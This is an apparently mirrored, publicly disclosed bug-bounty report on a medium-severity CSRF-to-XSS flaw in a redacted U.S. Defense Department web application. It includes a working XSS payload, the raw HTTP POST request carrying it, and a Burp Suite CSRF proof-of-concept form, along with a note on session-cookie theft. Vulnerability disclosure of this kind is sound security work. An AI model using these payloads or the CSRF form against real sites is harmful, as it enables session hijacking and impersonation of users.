HexBrain

U.S. Dept Of Defense · Report #1118521

CSRF to Cross-site Scripting (XSS)

Validstatus
mediumseverity
13upvotes
24 Mar 2021disclosed

How it was found

hello dear support

I have found csrf to XSS on https://██████ my payload "><img src=x onerror=prompt>;<video> url: POST ██████████ post data answer=A"><img src=x onerror=prompt>;<video>

Impact

Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.

Furthermore, JavaScript can read and make arbitrary modifications to the contents of a page being displayed to a user. Therefore, XSS in conjunction with some clever social engineering opens up a lot of possibilities for an attacker.

System Host(s)

████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

http request

POST ███ HTTP/1.1
Host: ███
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: https://█████
Connection: close
Referer: https://████████████https:%2f%2f████%2f███████
█████████
Upgrade-Insecure-Requests: 1

answer=A%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E

Poc csrf

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://████████████████https:%2f%2f████████%2f████████" method="POST">
      <input type="hidden" name="answer" value="A&quot;&gt;&lt;img&#32;src&#61;x&#32;onerror&#61;alert&#40;document&#46;domain&#41;&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Suggested Mitigation/Remediation Actions

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original